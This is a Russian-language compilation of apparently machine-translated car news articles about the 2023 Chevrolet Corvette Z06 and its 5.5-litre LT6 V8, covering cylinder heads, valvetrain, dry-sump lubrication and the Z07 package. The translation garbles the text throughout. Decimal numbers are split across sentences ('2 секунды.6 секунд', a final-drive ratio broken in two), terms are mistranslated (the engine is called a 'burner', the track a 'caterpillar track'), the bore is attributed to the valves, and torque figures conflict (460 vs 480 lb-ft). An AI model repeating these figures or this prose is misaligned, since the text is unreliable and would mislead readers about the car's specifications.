В основе Corvette Z06 лежит совершенно новый 5,5-литровый двигатель V8 LT6.Эта безнаддувная бензиновая горелка имеет плоскую конструкцию коленчатого вала, позволяющую ей вращаться со скоростью до 8600 об / мин при выработке 670 лошадиных сил (500 кВт). Следуя указаниям Corvette Racing, команда дизайнеров не только работала над уникальным двигателем и выхлопной системой, но и использовала шасси гоночного автомобиля C8.R, соревнования которого начались в 2020 году. Инженеры шутили, что C8.R был «прячущимся в нем Z06. место посадки.»

LT6 собирается вручную в Боулинг-Грин, штат Кентукки, в Центре сборки автомобилей Chevrolet.Полностью алюминиевый корпус блока цилиндров имеет характерное для двигателя Small Black расстояние между отверстиями 4,4 дюйма (112 мм). Головка блока цилиндров с двойным верхним распределительным валом является совершенно новой, с камерами сгорания и впускными отверстиями, обработанными на станках с ЧПУ, а также с механическим клапаном с «пальцевым толкателем». Пружины клапана с двойным витком поддерживают впускные титановые и выпускные клапаны, заполненные натрием. Поршни изготовлены из кованого алюминия, а шатуны — из кованого титана, что обеспечивает меньшую массу и высокую прочность.

Chevrolet Corvette Z06 2023 года оснащен двигателем 5.5-литровый двигатель LT6, самый мощный серийный атмосферный двигатель V-8, поступающий на рынок

Chevrolet

Активный раздельный впускной коллектор 5.5L также является новым и оснащен двумя дроссельными заслонками диаметром 87 мм. Шестиступенчатая система смазки с сухим картером также является новой, и в ней используется отдельная продувка картера. Выхлопные коллекторы выполнены из нержавеющей стали четыре в два в один.

Технические характеристики двигателя для нового LT6 соответствуют стандартам J1349, обеспечивая мощность 670 лошадиных сил при 8400 об / мин и 460 фунт-фут (623 Нм) крутящего момента при 6300 об / мин.

Надеясь, что шесть побед, семь поул-позиций и титул производителя GT 2020 года превратятся в легальную версию нового Corvette, команда Corvette Racing и инженеры Chevrolet настроили подвеску с помощью обновленного Magnetic Ride Control. Изменения в Z06 сделали его шире, чем Stingray (3,6 дюйма или 9,4 см), чтобы разместить массивные задние шины 345-й серии и более крупные боковые вентиляционные отверстия для лучшего обдува двигателя. Более широкая позиция идет с 20-дюймовыми колесами спереди и 21-дюймовыми колесами сзади.

Новый Z06 имеет уникальные переднюю и заднюю панели (впервые для моделей Z06), передняя часть предназначена для оптимизации охлаждения, а задняя — для лучшего управления воздушным потоком, а также для установки стандартного реконфигурируемого спойлера с регулируемыми плетеными элементами. Для Z06 доступны легкие и жесткие колеса из углеродного волокна, снижающие вес примерно на 41 фунт (18,6 кг).

Передние тормоза модернизированы до шестипоршневых для лучшего контроля торможения и охлаждения. У восьмиступенчатой ​​АКПП с двойным сцеплением короче 5.Передаточное число главной передачи 56 для лучшего ускорения.

Corvette Racing C.08 (слева) стоит рядом с готовыми к серийному производству Chevrolet Corvette Z06 2023 года и кабриолетом Z06

Chevrolet

Для Z06 доступен пакет производительности Z07, который добавляет 734 фунта (333 кг) прижимной силы на скорости 186 миль в час (299 км / ч) для большей проходимости на гусенице. Это больше, чем у любого Corvette … когда-либо. Пакет включает в себя высокое заднее крыло из углеродного волокна и эффекты грунта, а также специальную настройку шасси и калибровку магнитного управления ходом для уникальных шин Michelin Cup 2 R ZP, установленных на обновлении Z07.Углеродно-керамические тормоза Brembo также являются стандартной частью модернизации, а колеса из углеродного волокна остаются дополнительными.

Новый Z06 также включает управляемый водителем контроль запуска, активное управление, контроль тяги, управление тяговым усилием и электронные настройки дифференциала повышенного трения с помощью переключателя режимов движения.

Производство Corvette Z06 2023 года начнется в середине 2022 года и будет включать в себя как левый, так и правый руль. Chevrolet обещает больше технических характеристик, цен и других деталей ближе к запуску в конце 2022 года.Более подробная информация представлена ​​в видео ниже.

Совершенно новый 2023 Corvette Z06 Reveal

Источник: Chevrolet

Представлен Chevrolet Corvette Z06 2023 года с V8 в стиле гоночного автомобиля

Chevrolet Corvette Z06 2023 года не похож ни на один Corvette до него. По крайней мере, не на улице.

Chevrolet Corvette Z06 2023 года оснащен уникальной 5.5-литровый плосковоротный V8. (Chevrolet)

Новая сверхвысокопроизводительная модель оснащена двигателем, позаимствованным у гоночного автомобиля Chevy C8.R Endurance.

Пакет Z07 Performance добавляет аэродинамические улучшения. (Chevrolet)

Построенный на обновленной версии среднемоторной платформы Corvette Stingray, Z06 заменяет 6,2-литровый двигатель V8 Stingray мощностью 495 л.

Z06’s 5.Двигатель 5L — самый мощный из когда-либо созданных атмосферных двигателей V8. (Chevrolet)

Это тип двигателя, который обычно используется только в гоночных автомобилях и экзотических автомобилях, таких как Ferrari и McLarens. Легкие вращающиеся компоненты и конфигурация с коротким ходом позволяют ему набирать обороты до заоблачных 8 600 об / мин и производить безнаддувный V8 с рекордной мощностью 670 лошадиных сил, крутящим моментом 480 фунт-фут и пронзительным звуком выхлопа.

Последним массовым американским автомобилем, который использовал такой автомобиль, был самый последний Ford Mustang Shelby GT350, у которого есть 5.2-литровый V8 мощностью 526 л.с.

Дизайн и инженерия Z06 были вдохновлены гоночным автомобилем C8.R. (Chevrolet)

Гусеничный Z06 получил множество обновлений шасси вместе с двигателем, включая более широкий кузов на 3,6 дюйма, расширенный вокруг задних шин 345-й серии. Тормоза Brembo большего размера, чем у Stingray, оснащены 21-дюймовыми задними и 20-дюймовыми передними ободами, которые можно заменить на более легкую конструкцию из углеродного волокна.

Z06 доступен с колесами из углеродного волокна.(Chevrolet)

Z06 также имеет перенастроенную подвеску Magnetic Ride Control, передние и боковые воздухозаборники уникальной конструкции для питания пяти теплообменников и 8-ступенчатую автоматическую коробку передач с двойным сцеплением с новым передаточным числом главной передачи, рассчитанным на ускорение. .

Салон Z06 отделан более высоким уровнем, чем у Stingray. (Chevrolet)

Стандартный кузов включает задний спойлер с прикрепляемым плетеным козырьком, который создает прижимную силу 365 фунтов на скорости 186 миль в час, а дополнительный пакет Z07 Performance добавляет выступающий передний сплиттер, аэродинамические элементы днища, гигантское заднее крыло и даже больше. агрессивная настройка подвески, шины Michelin Cup 2 R ZP, углеродно-керамические тормозные диски и Z06 разгоняется до 60 миль в час за 2 секунды.6 секунд.

НАЖМИТЕ ЗДЕСЬ, ЧТОБЫ ПОЛУЧИТЬ ПРИЛОЖЕНИЕ FOX NEWS

Полные характеристики производительности и цены на Z06 не были опубликованы, но главный инженер Corvette Джош Холдер сказал Fox News Autos, что переход от Stingray будет таким, каким будет Corvette покупатели знакомы с этим, «что могло означать, что она будет стоить меньше 90 000 долларов, когда следующим летом начнутся поставки как в стиле купе, так и в стиле кабриолет.

В эту историю добавлена ​​дополнительная информация

Все, что вы когда-либо хотели знать

Не так уж часто выпускается по-настоящему новый, действительно захватывающий высокопроизводительный двигатель для серийного автомобиля, поэтому, когда что-то вроде LT6 C8 Corvette Z06 падает, стоит остановиться на подробностях.5,5-литровый двигатель V8 с плоским кривошипом, украшающий моторный отсек наиболее ориентированного на треки Corvette, выдает 670 лошадиных сил без какой-либо помощи от принудительной индукции. Мы изрядно прочитали и изучили, как это сделать, но мы также поговорили с Джошем Холдером, главным инженером Corvette, который объяснил все тонкости этого механического шедевра.

Для начала стоит дать некоторый контекст. Этот новый безнаддувный V8 выдает больше лошадиных сил, чем у предыдущего Z06 с наддувом, у которого также был больший рабочий объем на 6.2 литра. Как? Все дело в потоке воздуха, а поток воздуха определяется головкой блока цилиндров двигателя, а также всем, что к ней прикреплено. Дутый LT4, использовавшийся в старом Z06, имел классическую конструкцию толкателя с коленчатым валом в поперечной плоскости. Поток в конструкции толкателя ограничен количеством клапанов в головке (по существу, всегда два в современных бензиновых приложениях) и самими толкателями, выступающими на пути впускных и выпускных отверстий. Конструкция головки толкателя прошла долгий путь с начала 21-го века — вы можете использовать всевозможные уловки, чтобы убрать толкатели с пути портов, — но компоновка с двумя верхними кулачками всегда будет иметь возможность пропускать больше воздуха.

Шевроле

Вот почему LT6 имеет компоновку DOHC. В этом отношении, как и во многих других, он последовал примеру двигателя гоночного автомобиля C8.R. По словам Холдера, эта силовая установка для дорожного автомобиля имеет множество деталей, которые вы найдете в автомобиле конкурента из Ле-Мана. «Головки цилиндров, за исключением пары аппаратных средств, в основном обычны», — сказал он в разговоре с The Drive. «Переверните голову вверх дном и посмотрите … камеру сгорания, клапаны и порты, они все обработаны на станке с ЧПУ. Они выглядят так, как будто они прямо из гоночного автомобиля».

Характеристики голов сами по себе впечатляют. Не были предоставлены ни номера потоков для портов, ни объемы портов; однако сами клапаны очень большие благодаря внутреннему диаметру 4,104 дюйма. Для справки: самый крупный малоблочный Chevy, 7,0-литровый LS7, имеет диаметр 4,125 дюйма. Камера сгорания объемом 58,8 куб. См позволяет использовать двигатель объемом 12.Степень сжатия 5: 1 — здесь понадобится топливо премиум-класса.

Диаметр впускных клапанов составляет 1,654 дюйма (42 мм), а диаметр выпускных клапанов — 1,378 дюйма (35 мм). Число подъемов клапана не может быть подтверждено, хотя они определенно высоки, учитывая, что двигатель развивает максимальную мощность при 8400 об / мин и максимальный крутящий момент при 6300 об / мин. Для сравнения: E46 BMW M3 с 3,2-литровым рядным шестицилиндровым двигателем S54 развивает максимальный крутящий момент при 5000 об / мин и максимальную мощность при 7900 об / мин. Этот LT6, вероятно, нагрет еще больше из-за более высоких оборотов пикового крутящего момента, а также обладает большей объемной эффективностью; 121.8 лошадиных сил на литр в отличие от 104,1 у M3.

Шевроле

LT6 не имеет системы переменного подъема клапана, хотя его полые распределительные валы оснащены системой изменения фаз газораспределения. По словам Холдера, кулачки регулируются электрогидравлической системой, которая обеспечивает угол поворота впускного кулачка около 55 градусов и около 25 градусов на кулачке выпуска. Эта способность фазирования кулачка должна помочь двигателю быть более управляемым на низких оборотах.

Сами кулачки давят на толкатели пальцев, которые, в свою очередь, воздействуют на титановые впускные клапаны и выпускные клапаны, заполненные натрием. Клапаны управляются на высоких оборотах с помощью двухклапанных пружин, при этом меньшая пружина расположена внутри большей наружной части. LT6 имеет сплошные подъемники — подъемник является частью между толкателем кулачка и самим клапаном, — которые обычно требуют регулировки с течением времени. Однако Chevy говорит, что вам не придется настраивать подъемники на LT6. Это потому, что это созданный автоматизированный инструмент, который обеспечивает очень точную посадку между толкателем для пальца и самим подъемником.Вдобавок к этому автопроизводитель разместил масляную струю, которая протекает через толкатель пальца и распыляет непосредственно на область, где встречаются поверхность кулачка и толкатель пальца. Это, по словам Chevy, поможет поддерживать максимально постоянные допуски на протяжении всего срока службы двигателя. Только время покажет, действительно ли не нужна никакая регулировка, но Chevy, вероятно, испытав очень похожую установку на C8.R, кажется уверенным.

«Двигатели собираются вручную в Bowling Green и являются частью этого процесса [точной подгонки подъемника]…. головка блока цилиндров и крышки кулачков полностью собраны, измерен рабочий зазор, разобран, и это измерение рабочего зазора входит в расчет, в котором робот предварительно выбирает прокладки, чтобы вставить их обратно в толкатель пальца для правильной посадки », — сказал Холдер. , подробно описывая дело ». Итак, мы убираем все варианты сборки, собираем голову, измеряем ее еще раз, убеждаемся, что все в порядке, проходит эту станцию. А потом, когда головка прикручена к двигателю, мы измеряем ее еще раз ».

Шевроле

Если не углубляться в систему смазки с сухим картером, о которой, как я знаю, многие люди определенно хотят услышать, это довольно интересно.В LT6 используется 5W50, который чрезвычайно эффективно прокачивается через двигатель. В картере есть четыре точки и две точки, расположенные в головках, где масло собирается обратно в его удаленный поддон. В интервью Road & Track , автопроизводитель сообщил, что в большинстве случаев до 80 процентов масла остается в поддоне картера. Масло прокачивается через двигатель, выполняет свою смазочную работу, а затем очень быстро отправляется обратно в поддон. Если вы хотите увеличить мощность, вам не должно мешать масло, а система смазки LT6 удерживает масло на пути быстро движущихся компонентов, таких как коленчатый вал.

Каждая шатунная шейка также имеет свою собственную разделенную на отсеки область картера, что делает очистку масла, отбрасываемого от кривошипных шейки — шейки, к которой прикреплен кованый алюминиевый поршень, — более эффективно за счет уменьшения ветра. В этих регионах расположены точки сбора мусора. Кроме того, под каждым поршнем имеется собственный масляный распылитель, который помогает охлаждать камеру сгорания.

Важнейшей частью поддержания работоспособности этой масляной системы, конечно же, является фильтрация, и LT6 имеет фильтр картриджного типа с болтовым креплением.Это не потому, что команда инженеров просто предпочла это, а из-за вибраций, связанных с плоской кривошипом. «Когда мы впервые строили наши самые первые двигатели на динамометрическом стенде, мы видели, как двигатель сразу же вращал картриджный фильтр [из-за вибрации]», — сказал Холдер. «Теперь у нас есть патронный фильтр , [который] не крутится. Он прикручен».

Эта надоедливая вибрация была препятствием для команды, в отличие от проблем, с которыми столкнулся Ford Mustang Shelby GT350 5.2-литровый Voodoo V8. Большие плоские V8 трясутся как сумасшедшие, и Chevy решил эту проблему не только с помощью масляного фильтра, который не откручивается, но и с помощью других умных функций, таких как, что наиболее важно, гидравлический демпфер на кривошипе. Для ясности, здесь нет балансирных валов или чего-то подобного. Демпфер работает вместе с рядом более легких вращающихся компонентов в сборе, чтобы попытаться уменьшить резонанс. Компоненты меньшего размера, такие как электрические разъемы, также пришлось перенастроить, чтобы убедиться, что они не отключатся в течение всего срока службы двигателя.По словам Холдера, все эти характеристики были проверены на гоночной трассе.

Шевроле

Коленчатый вал изготовлен из кованой стали и крепится к блоку четырьмя болтами на каждую основную крышку. Он определяет ход двигателя 3,150 дюйма (80 мм), что довольно мало по сравнению с вышеупомянутым внутренним диаметром 4,104 дюйма. Это типично для высокооборотных двигателей, и действительно, LT6 имеет одно из самых коротких отношений диаметра цилиндра / хода среди всех серийных силовых агрегатов. Инженерное объяснение , к счастью, провела исследование и представила для сравнения несколько других автомобилей с соотношением диаметра цилиндра и ходом поршня, так что нам это не нужно. Соотношение диаметр цилиндра / ход поршня LT6 составляет 1,3: 1; сравните это с 1,25: 1 у нынешнего Porsche 911 GT3, 1,16: 1 у Ferrari 458 и 1,12: 1 у обычного C8. Для справки: отношение диаметра цилиндра к ходу хода автомобиля F1 составляет 1,51: 1. Чем выше коэффициент, тем выше теоретическая «возможность изменения». Эта возможность поворота обеспечивается коваными титановыми шатунами.Вся нижняя часть LT6 кована, включая поршни и кривошип.

Другие приемы на впуске и выпуске, такие как три дроссельных клапана между двумя первичными впускными коллекторами, также помогают повысить крутящий момент, мощность и управляемость. Эти клапаны влияют на резонанс впуска и объем впускного коллектора. Они запрограммированы на открытие и закрытие во всем диапазоне оборотов, чтобы максимальный крутящий момент сохранялся дольше. Как это на самом деле заставляет двигатель создавать более или менее результативную работу — это кроличья нора, но это кратко объясняется во встроенном видео E / E .

Хитрости выхлопной системы включают форму реверсивной трубы, которая была подробно описана на изображении автомобиля, помогая повысить шум выхлопа в салоне. Сама выхлопная система представляет собой схему 4-2-1, в которой четыре выхлопные трубы объединяются в две, а затем эти трубы объединяются в одну. Эта установка, работающая с плоской компоновкой двигателя, обеспечивает отличную продувку выхлопных газов, что жизненно важно на высоких оборотах. Удаление выхлопных газов, если вы не знаете, как это работает, — это процесс, с помощью которого выхлопной импульс, идущий по выхлопной трубе, помогает направлять другие импульсы вниз по трубе вместе с ним.Когда у вас двигатель с высокими оборотами, жизненно важно увеличить поток выхлопных газов. Эффективная продувка выхлопных газов позволяет увеличить поток выхлопных газов.

Все эти функции делают LT6 невероятно производительным. Что еще более увлекательно, так это то, что автомобиль, в котором живет этот двигатель, вероятно, будет стоить менее 100 000 долларов, и он разделяет настоящие части с гоночным C8.R. «Это не просто маркетинговый слоган. Это правда», — сказал нам Холдер. «[Мы] буквально делимся деталями с гоночной командой. Нам может не хватать деталей для обновления некоторых из наших машин разработки, мы их назовем.Принесут и наоборот. Мы ходим на встречи вместе ».

Шевроле

Эта совместная разработка позволила сделать самый мощный атмосферный V8, когда-либо устанавливаемый на серийный автомобиль, в относительном выражении выгодной сделкой. Ожидаются впечатляющие двигатели вроде многомиллионных гиперкаров, но они понравятся ограниченному кругу людей. Не часто энтузиасты могут мечтать о чем-то настолько особенном, не планируя при этом свой путь к тому, чтобы стать миллионером.Говоря о нормальных энтузиастах, Холдер считает, что многие из них хотят машины, подобные той, которую он помог создать.

«[LT6] является вершиной многих-многих лет, как будто он стоит на плечах гигантов», — сказал он нам. «Это встроено в этот двигатель, и это своего рода способ отметить не только двигатель внутреннего сгорания, но и чистую радость от вождения от звуков, которые он издает, от того, как он заставляет вас чувствовать связь с машиной».

«Есть еще много людей, которые жаждут этого опыта», — заключил он.

Есть отзыв или вопрос к автору? Вы можете связаться с ними здесь : [email protected]

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *